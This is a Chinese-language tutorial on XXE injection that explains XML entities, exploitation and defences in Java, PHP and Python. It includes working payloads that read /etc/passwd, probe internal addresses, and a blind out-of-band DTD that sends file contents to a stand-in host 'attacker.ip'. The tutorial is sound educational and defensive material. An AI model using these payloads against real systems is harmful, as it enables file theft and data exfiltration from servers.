XML实体注入(XML External Entity Injection,简称XXE)是Web安全领域中一种经典且危害不小的漏洞。它源于XML解析器在处理DTD(文档类型定义)时,默认支持加载外部实体这一特性。攻击者只要能控制传给服务器的XML内容,就可以借助实体声明让服务器去读取任意文件、访问内网地址,甚至造成拒绝服务。很多人对这个漏洞一知半解,只知道复制payload却不懂原理,遇到变形场景就无从下手。本文将从XML实体的基础知识讲起,把漏洞原理、利用方式和常见误区一次讲清。

一、先弄懂XML实体是什么
要理解XXE,必须先理解XML中的实体(Entity)机制。实体可以简单理解为一种“引用”或“别名”,作用类似于编程语言中的变量。在XML里,有一些预定义实体,比如<表示小于号、&表示和号,这是XML自带的转义机制。除了预定义实体,开发者还可以通过DTD自定义实体。
DTD通常写在XML文档开头的DOCTYPE声明中。看下面这个例子:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe "这是自定义实体的内容">
]>
<root>&xxe;</root>这段XML中,<!ENTITY xxe "...">声明了一个名为xxe的内部实体,当解析器处理到&xxe;时,会自动把它替换为实体定义的内容。注意,普通元素内容中并不能直接使用所有实体,需要看解析器的具体实现,但在许多解析场景下这种引用是生效的。
关键问题出在外部实体上。如果把实体定义中的字面值换成SYSTEM关键字加一个URI,解析器就会去加载这个URI指向的资源,并把内容填入实体中。例如<!ENTITY file SYSTEM "file:///C:\Windows\win.ini">。这个设计本意是方便复用外部资源,但如果XML内容可以被用户控制,就等于把服务器的文件读取和网络请求能力交给了攻击者。
二、XXE漏洞的原理与典型利用方式
XXE漏洞成立需要两个条件:一是应用的XML输入可被外部控制,二是解析器默认启用了外部实体加载。libxml2、Java的部分解析器在没有显式禁用时,历史上都存在默认开启外部实体的情况,这就是漏洞广泛存在的根源。
第一种典型利用是读取本地文件。构造如下payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>如果应用解析后会把<name>的值返回给前端,那么/etc/passwd的文件内容就直接显示在响应里,这被称为有回显的XXE,危害直观可见。
第二种利用是内网探测。把SYSTEM的URI换成http://192.168.1.1:8080/这类内网地址,通过响应时间或报错信息判断端口是否开放,攻击者可以借此绘制内网拓扑,为后续攻击做准备。
第三种是无回显的盲注场景。当应用不返回解析结果时,可以使用外部DTD配合参数实体把数据带出来:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.ip/evil.dtd">
%remote;
]>
<root>test</root>
<!-- evil.dtd 的内容如下,放在攻击者服务器上 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://attacker.ip/?data=%file;'>">
%send;这段payload利用了参数实体(实体名前带百分号,只能在DTD中使用)的两层嵌套,先加载远程DTD,再让远程DTD引导解析器把文件内容拼接到外带请求中。需要注意的是,同一DTD内参数实体引用自身的写法在部分解析器中受限,所以通过外部DTD绕过是常见技巧。
三、主流语言的防护方案
防护XXE最核心的原则只有一个:在解析XML时显式禁用DTD和外部实体。不同语言的配置方式略有差异。
Java中使用DocumentBuilderFactory时,应这样配置:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用DTD处理,从根本上消除实体注入
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 兜底:禁用外部实体和参数实体
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);PHP在libxml2.9.0之后默认不加载外部实体,但为了兼容旧环境,仍然建议显式调用libxml_disable_entity_loader(true)(PHP 8.0之前),并检查是否使用了SimpleXML、DOMDocument等解析器。Python的lxml库可以通过resolve_entities=False和no_network=True参数加固。
除了代码层面,还可以从架构上收敛风险:如果业务并不需要DTD,可以在WAF层直接拦截包含<!DOCTYPE和<!ENTITY的请求体;如果必须使用XML接口,尽量采用JSON等不含实体机制的数据格式替代。
四、常见误区提醒,看完不踩坑
第一个误区是认为过滤SYSTEM关键字就安全了。SYSTEM确实是最常见的标志,但攻击者可以通过外部DTD引入实体定义,本地payload里完全不出现SYSTEM字样;还有编码混淆、CDATA包裹等绕过手段。正则过滤只能作为辅助,绝不能当作主要防线。
第二个误区是只关注有回显的场景。很多测试人员发现接口没有返回XML内容就判定不存在漏洞,实际上盲注XXE同样危险,数据照样可以通过外带通道传出去。正确的测试方法是自己搭建接收平台,观察是否有出网请求。
第三个误区是忽略了XML的其他入口。XXE不只出现在浏览器提交的接口中,SVG图片上传(SVG本质是XML)、Office文档解析(docx内部是XML结构)、SOAP接口、SAML单点登录报文等场景都可能触发。代码审计时只搜索HTTP请求体是远远不够的。
第四个误区是升级依赖库后不做验证。以libxml2为例,2.9版本后默认禁用了外部实体加载,看似安全了,但某些框架会手动开启相关选项,或者使用了旧的解析封装。升级不等于免疫,必须结合实际配置验证。
总结一下,XXE的本质是解析器把“引用外部资源”的能力暴露给了不可信输入。理解实体机制,掌握有回显与盲注两种利用思路,在开发中坚持禁用DTD这一条铁律,再避开上面提到的几个误区,基本就能把这个漏洞防到位了。